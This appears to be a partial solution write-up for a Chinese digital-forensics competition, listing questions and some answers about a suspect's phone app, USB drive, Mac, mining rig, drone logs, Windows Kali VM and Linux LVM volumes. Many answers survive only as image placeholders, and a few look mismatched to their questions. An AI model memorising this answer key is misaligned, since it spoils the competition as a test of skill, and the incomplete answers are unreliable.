    image.png

  53. [填空题] 常威手机中,发现于网络上下载的软件“安心出行”安装档的哈希值(MD5)
    是?(请以英文全大写及阿拉伯数字回答) (2 分)

    0c3e9233b78971709ccaabe7d9a917e4

    image.png

  54. [多选题] 常威手机中执行软件“安心出行”(版本 2.1.3)中涉及以下安全许可? (2 分)
    A. android.permission.ACCESS_WIFI_STATE 获取 WiFi 状态
    B. android.permission.BATTERY_STATS 电量统计
    C. android.permission.VIBRATE 使用振动
    D. android.permission.CONTROL_LOCATION_UPDATES 控制定位更新
    E. android.permission.CAMERA 拍照权限

    image.png

  55. [多选题] 常威手机中软件“安心出行”(版本 2.1.3)的安装档(.apk)中,哪个不是它的签名
    算法? (3 分)
    A. MD5withRSA
    B. SHA256withRSA
    C. SHA256withDSA
    D. MD5withDSA

    image.png

  56. [多选题] 于常威的手机中执行软件“安心出行”(版本 1)可能会连接至哪一个网站? (2 分)
    A. https://back-home-.pages.dev
    B. org.chromium..a5b80edf82b436506
    C. org.chromium..a5b80edf82b436506_v2
    D. https://back-home-.pages.dev/manifest.json

    抓包和分析源代码。

  57. [单选题] 在常威苹果手提计算机, 用户开机密码是什么 ?(提示:常威 USB 设备中可
    能有相关数据) (3 分)
    A. Csthegoa
    B. Drawfgdf
    C. Cokkfiddd
    D. Appis
    won

    根据提示,在常威的 USB 设备中查找。
    使用取证大师,加载镜像后,使用格式化恢复,

    image.png

    image.png

    image.png

    image.png

    image.png

  58. [填空题] 在常威 U 盘内有多少磁盘分隔区 ? (请以阿拉伯数字回答) (2 分)

    4

    image.png

  59. [填空题] 在常威 U 盘内有多少份 excel 文件 ? (请以阿拉伯数字回答) (1 分)

    image.png

    image.png

  60. [填空题] 在常威 U 盘内, 内含有多少个客户数据 ? (请以阿拉伯数字回答) (1 分)

    image.png

  61. [多选题] 以下哪个客户数据储存在常威 U 盘内 ? (3 分)
    A. jmuat1@reference.com
    B. cgeraudg@forbes.com
    C. cwarmishamo@admin.ch
    D. abddfdf@google.com
    E. alex1234@apple.com

    在xlsx里面搜索就有。

  62. [单选题] 常威MAC 计算机上一个系统版本是甚么及现正运行哪一个版本的系统? (3分)

    image.png

  63. [多选题] 常威MAC 计算机的系统事件纪录内哪个卷标(Flag)是关于储存档案于计算机?
    (3 分)
    A. Created
    B. InodeMetaMod
    C. FinderInfoChanged
    D. IsDirectory
    E. OwnerChanged

    Mac 电脑的 OSX FSEvents flag 知识,理论题目,选择 ABCE

  64. [多选题] 常威 MAC 计算机曾连接哪一个无线网络 SSID? (2 分)
    A. wai wifi
    B. wanchainew1
    C. central2
    D. Hongkong1

    image.png

  65. [单选题] 常威MAC 计算机的使用者甚么时候将”隔空投送”(airdrop)转换至任何人模式?
    (2 分)

  66. [单选题] 常威 MAC 计算机的镜像档案内,总共有多少个系统默认的卷标? (1 分)
    A. 4
    B. 5
    C. 6
    D. 7

    5个

    image.png

  67. [填空题] 常威 MAC 计算机的使用者上一次关闭浏览器时,正在浏览多少个网页? (请
    以阿拉伯数字回答) (3 分)

    image.png

    虽然24个url,但是实际上有重复的,筛选后只有10个

  68. [多选题] 常威 MAC 计算机中以下哪个档案并不是 iPhone 所拍摄的图片? (2 分)
    A. IMG_0002
    B. IMG_0003
    C. IMG_0004
    D. IMG_0005
    E. IMG_0006

    image.png

    在 MAC 计算机上找到了 BCE 选项,导出,就能看到BCE都是iPhone12pro拍摄的

  69. [多选题] 在常威的矿机没有进行哪种加密货币掘矿 ? (2 分)
    A. Bitcoin(比特币)
    B. Ethereum(以太坊)
    C. RVN(渡鸦币)
    D. Dodge(狗狗币)
    E. ENJ(恩金币)

  70. [填空题] 在常威矿机有几张显示适配器进行掘矿 ? (请以阿拉伯数字回答) (1 分)

    image.png

  71. [单选题] 在常威矿机, hive OS 操作系统是什么版本 ? (1 分)
    A. 5.4.0
    B. 6.0.1

    C. 7.0.2
    D. 10.0.2

    E. 15.1.2*****

    image.png

  72. [多选题] 在常威矿机中, 哪个不是收取掘矿收益的加密货币钱包地址 ? (1 分)

    image.png

  73. [单选题] 在常威矿机中, 用于掘矿登入密码是什么 ? (2 分)

    image.png

  74. [填空题] 在常威矿机中,用于掘矿 Nvidia 显示适配器所使用的驱动程式使用什么版
    本?(请以英文全大写及阿拉伯数字回答) (1 分)

    image.png

  75. [多选题] 在常威矿机中, 用于掘矿显示适配器型号包括什么? (2 分)

    image.png

  76. [多选题] 在常威矿机, 哪一天没有进行掘矿? (2 分)

    直接看日志

  77. [填空题] 常威的无人机中的飞航纪录 __可见到于 2021 年10 月11 日1505
    时的 GPS 地点。(请以英文全大写及阿拉伯数字回答) (1 分)

    FLY096.DAT

    image.png

  78. [单选题] 常威的无人机于 2021 年 10 月 11 日 15:07:51 时之间所在的地点是什么? (1
    分)

    image.png

  79. [填空题] 常威的无人机哪一个档案有最后降落时间的数据(请以英文全大写及阿拉伯
    数字回答,不用输入".")? (1 分)

    FLY096DAT

    在最下面

    image.png

  80. [多选题] 常威的手机中哪一个是由常威的无人机于 2021 年 10 月 11 日所拍摄的图像
    文件? (2 分)

    A. Containers 货柜
    B. Buildings 大厦
    C. bicycle 单车
    D. Mountain 山

    image.png

    image.png

    image.png

  81. [填空题] 常威的手机中显示常威的无人机DJI GO 4 的版本是 4.3.37?(请以阿拉伯数字
    回答) (1 分)

    image.png

  82. [多选题] 常威的手机中所安装的 DJI GO 4 软件中,以下哪个 database 没有显示临时
    禁飞区? (2 分)
    A. Filesflysafe_app.db
    B. Special_warning.db
    C. Flysafe_app_dynamic_areas.db
    D. Flysafe_polygon_1860.db

    搜索找到数据库 Flysafe_app_dynamic_areas.db 显示了禁飞区,Special_warning.db 数据
    库是空的。

    image.png

  83. [填空题] 常威的手机中在 Localappstate.db 可知道 DJI GO 4 的登入电子邮件(请以英
    文全大写及阿拉伯数字回答) (1 分)

    正常存储这个信息应该在 app 的数据库里,从 APP 找到跳转的路径。

    image.png

    image.png

    image.png

  84. [填空题] 常威的手机中在 flysafe_app_dynamic_areas.db 包含了名为server_timestamp 的资料(请以英文全大写及阿拉伯数字回答) (1 分)
    和 82 题相关联,见过这个数据库,查看这个数据库

    image.png

  85. [单选题] 常威利用Windows 计算机中的 VM Kali 进行攻击和收取受害人电话的数据,请找出常威的 VM 存放地址 (2 分)

    image.png

  86. [单选题] 常威在收集数据后储存数据于 Windows 计算机一个名为"text2.txt"的档案中,
    随后他将档案移往"\home\kali\Desktop\project\"中, 下述哪个档案可以证明这一点?

    i)\root.bash_history ii) \home\kali.bash_history (3 分)

    看 kali 系统里的数据,将 kali 的文件导出来,再当做计算机的检材做取证分析。
    取证分析找到这两个文件,在\home\kali.bash_history 找到了 text2.txt 文件的痕迹但是
    证明不了是从 windows 移动过去的,都没有相关证据。

    image.png

  87. [单选题] 常威 Windows 计算机中哪一个程式/档案有可能用作收取受害人电话上的数
    据? (3 分)
    A. \home\kali\Desktop\server_express_ok.js
    B. \home\kali\Desktop\baddish\package.json
    C. \home\kali\Desktop\baddish\server.js
    D. \home\kali\Desktop\server.js

    image.png

  88. [多选题] 常威 Windows 计算机中显示常威第一次偷取受害人电话数据有机会是在哪
    一个日子及时间登入 Kali 系统? (2 分)
    A. 2021-09-27
    B. 2021-09-29
    C. 2021-09-29
    D. 11:42:47
    E. 16:04:24
    F. 16:30:04

    image.png

  89. [多选题] 常威Windows计算机中以下哪一个檔案的哈希值(MD5)能证明常威曾开启存
    有客户数据的档案? (2 分)

    image.png

    image.png

  90. [单选题] 常威 Windows 计算机中,哪一个档案可以找到 USB 装置初次连接的时间?
    (1 分)

    C:\Windows\INF\setupapi.dev.log
    Windows 取证理论题了,也可以根据选项打开找到该文件进行验证。

    image.png

  91. [单选题] 常威 Windows 计算机接驳了一个 3D 打印机,以下哪一个哈希值是属于上
    述打印机的驱动程式文件中的安装信息文件(INF 檔)? (提示:关键词包含 CH341) (3 分)

    image.png

    image.png

  92. [填空题] 续上题,上述安装信息文件的版本日期是什么? (请以阿拉伯数字,及以下格
    式回答,例: 2019 年 3 月 4 日,请回答 20190304) (1 分)

    image.png

  93. [多选题] 常威 Windows 计算机安装了一些与 3D 打印机有关的软件,有可能是以下哪
    个? (1 分)
    A. Ultimaker Cura
    B. 3DPrinterOS
    C. Simplify3D
    D. Creality Slicer

    挨个找

    image.png

    image.png

  94. [单选题] 续上题,哪一个档案记录了切片软件 Creality Slicer 曾经开启的 3d 立体模块
    (.stl)纪录? (1 分)

    image.png

    C:\Users\Chris Paul\AppData\Roaming\Creality Slicer\4.8\Creality Slicer.log

  95. [多选题] 续上题,哪一个 3d 立体模块(.stl)曾用切片软件 Creality Slicer 开启? (2 分)

    image.png

    image.png

  96. [填空题] 哪一个是Wai_Linux1.E01 鉴证映像中Linux LVM 磁盘分区的长度? (请以阿
    拉伯数字回答) (1 分)

    image.png

  97. [填空题] 常威 LINUX 计算机安装在逻辑卷管理(Logical Volume Manager)的磁盘分
    区上, 哪一个是卷组(Volume group) 的通用唯一标识符(UUID)? (请以英文全大写及阿拉
    伯数字回答,不用输入”-“) (1 分)

    image.png

  98. [多选题] 续上题,哪一个是逻辑卷(Logical Volume )设定的名字? (2 分)

    image.png

  99. [单选题] 常威 LINUX 计算机曾试用挖矿程式"T-Rex",在相关脚本(script)中哪一个是
    工人(worker)的名称? (1 分)

    rig0

    image.png

  100. [填空题] LINUX 系统中利用 fdisk 指令下,下列哪一个是 "exFAT"的磁盘分区类型编
    号(Partition type id)? (请以英文全大写及阿拉伯数字回答) (1 分)

    7
    这道题与本镜像无关,考的是 exfat 文件系统的 Partition type id,本镜像没有 exfat 分区,
    考核这个理论知识点,答案是 7。

    image.png

  101. [单选题] 在 Linux 的环境下,以下哪一个指令用于激活扫描到的卷组(Volume group)
    (1 分)
    A. vgscan
    B. vgchange
    C. vgdisplay
    D. vgactive
    每个都用 --help 命令查一下,找到只有 vgchange 有这个功能

  102. [单选题] 在 Linux 的环境下,下列哪一个指令可以删除内有档案的文件夹? (1 分

    rm -rf

  103. [填空题] 常威 LINUX 计算机逻辑滚动条 (Logical Volume) 路径“vg/home”使用了
    甚么系统建立? (请以英文全大写回答) (2 分)

    lvdisplay

    image.png

  104. [填空题] 常威 LINUX 计算机逻辑滚动条 (Logical Volume) 路径 “vg/root” 的
    Current LE 是什么? (请以阿拉伯数字回答) (1 分)

    lvdisplay

    image.png

  105. [填空题] 常威 LINUX 计算机扇区群组 (Volume group)的 Total PE 是甚么? (请以阿
    拉伯数字回答) (1 分)

    vgdisplay

    image.png